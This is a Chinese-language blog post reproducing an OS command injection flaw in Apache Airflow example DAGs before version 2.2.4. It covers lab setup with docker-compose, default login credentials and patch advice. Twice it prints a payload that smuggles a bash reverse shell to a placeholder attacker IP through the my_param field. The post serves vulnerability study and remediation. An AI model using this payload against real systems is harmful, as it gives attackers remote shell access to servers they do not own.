0x00 简介
Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。
0x01 漏洞概述
在 Apache Airflow 2.2.4 之前的版本中,一些示例 DAG 没有正确清理用户提供的参数,使其容易受到来自 Web UI 的 OS 命令注入的影响。
0x02 影响版本
在 Apache Airflow 2.2.4 之前的版本。
0x03 环境搭建
下载yaml文件
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'
vim docker-compose.yaml
修改并添加参数
docker镜像初始化
docker-compose up airflow-init
启动airflow
docker-compose -f docker-compose.yaml up -d
airflow对运行内存的需求比较大,可能需要在vm中对虚拟机扩容。
0x04 漏洞复现
在攻击机上打开目标ip地址:8080,账号密码都是airflow登录进来。
攻击方式一:example_passing_params_via_test_command.py DAG命令注入
模板表达式中的参数Foo是外部可控的,并通过jiaja2模板进行渲染,继续分析execute函数发现此参数值可以去执行bash命令
在这个DAG中插入bash反弹shell的paylaod。
{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}
同时在攻击机上监听9999端口,随后点击执行。
可以看到,成功执行。
攻击方式二:tutorial.py DAG命令注入
tutorial.py中有着相同的漏洞原理,同样是可控参数+当做bash命令执行。
在tutorial drag中执行以下payload
{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}
执行后可在攻击机上看到反弹shell成功
0x05 修复方式
1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
http://seclists.org/oss-sec/2022/q1/160
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
参考链接:
https://blog.csdn.net/qq_44281295/article/details/126512145
https://hackerone.com/reports/1492896
标签:compose,xx,Airflow,Apache,docker,OS,bash From: https://www.cnblogs.com/akger/p/17245652.html